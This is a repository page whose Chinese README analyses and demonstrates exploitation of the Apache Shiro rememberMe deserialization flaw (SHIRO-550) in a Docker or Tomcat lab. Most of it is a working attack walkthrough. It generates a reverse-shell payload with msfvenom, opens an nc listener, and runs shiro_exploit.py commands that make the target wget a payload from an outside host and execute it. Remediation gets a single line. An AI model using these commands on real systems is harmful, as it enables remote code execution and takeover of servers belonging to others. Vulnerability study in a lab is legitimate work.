# Shiro_exploit **Repository Path**: haply/Shiro_exploit ## Basic Information - **Project Name**: Shiro_exploit - **Description**: No description available - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 1 - **Forks**: 1 - **Created**: 2020-11-05 - **Last Updated**: 2021-07-09 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # Apache Shiro Java 反序列化漏洞分析及利用 # 0x00 项目地址 https://github.com/HexChristmas/Shiro_exploit # 0x01 概述 > 这两天被派去护网&重保,态势感知报了一条冰蝎的远程代码执行的告警,在通过告警日志以及webshell及相关信息,红队大概是通过shiro反序列化拿到主机权限,之前一大佬还特别分享过shiro反序列化漏洞,还没来及研究就碰上了,正好这个机会研究分析一波, shiro用remembreme这个cookie对用户进行鉴权,防止出现越权问题,它使用```CookieRemembreMeManager```这个类,对remebremecookie的key使用```ObjectInputStream```类进行序列化,然后对字符流进行用aes加密方式对其进行base64编码,然后返回客户端```remebremeCookie```,这其实是有问题的,shiro把其实aes的密钥硬编码在代码里类,我们可以通过ysoserial这个的```CommonsCollections2```这个方法来调试代码发现aes加密的密钥进行对其解密解密,我们解密之后就可以生成并返回带有远程代码执行的```remebremeCookie```进而反弹shell # 0x02 漏洞环境 ### 方法一:Docker环境搭建 这里可以直接pull大佬们做好的docker的漏洞环境 ``` docker pull medicean/vulapps:s_shiro_1 ``` 将docker漏洞环境的8080端口映射到本机的80端口 ``` docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 ``` ### 方法二:Linux虚拟机或者VPS搭建tomcat及shiro环境 java环境啥的鸟都带了 直接去tomcat官网去下载二进制包,不用百度了,这里直接给你百度完了,[点击我进行跳转,Run!](http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz) 或者你直接可以 ``` sudo wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz /usr/share ``` 然后直接解压 ``` sudo tar zxvf apache-tomcat-8.5.43..tar.gz ``` ``` /usr/share/apache-tomcat-8.5.43/bin/startup.sh ``` 我们现在只需把shiro包放到webapps下即可 ``` sudo cp shiro.war /usr/share/apache-tomcat-8.5.43/webapps ``` 然后访问 ``` localhost:8080/Shiro ``` ![shiro](https://raw.githubusercontent.com/HexChristmas/Shiro_exploit/master/img/3.png) 能看到这个就说明你已经启动成功了 # 0x02 漏洞利用 用msfvenom生成payload用于反弹shell ``` msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=2333 elf > payload ``` ![msfvenom](https://raw.githubusercontent.com/HexChristmas/Shiro_exploit/master/img/1.png) nc监听2333端口 ``` nc -lvvp 2333 ``` 使用shiro的脚本进行远程代码执行漏洞利用 ``` python shiro_exploit.py "http://127.0.0.1:81" "wget -p /tmp/ http://172.18.24.35/payload" ``` ``` python shiro_exploit.py "http://127.0.0.1:81" "chmod +x /tmp/payload" ``` ``` python shiro_exploit.py "http://127.0.0.1:81" "/tmp/payload" " ``` ![exploit](https://raw.githubusercontent.com/HexChristmas/Shiro_exploit/master/img/2.png) # 0x03 漏洞修复 升级 Shiro 版本至 1.2.5 以上 # 0x4 参考文档 https://issues.apache.org/jira/browse/SHIRO-550 https://www.seebug.org/vuldb/ssvid-92180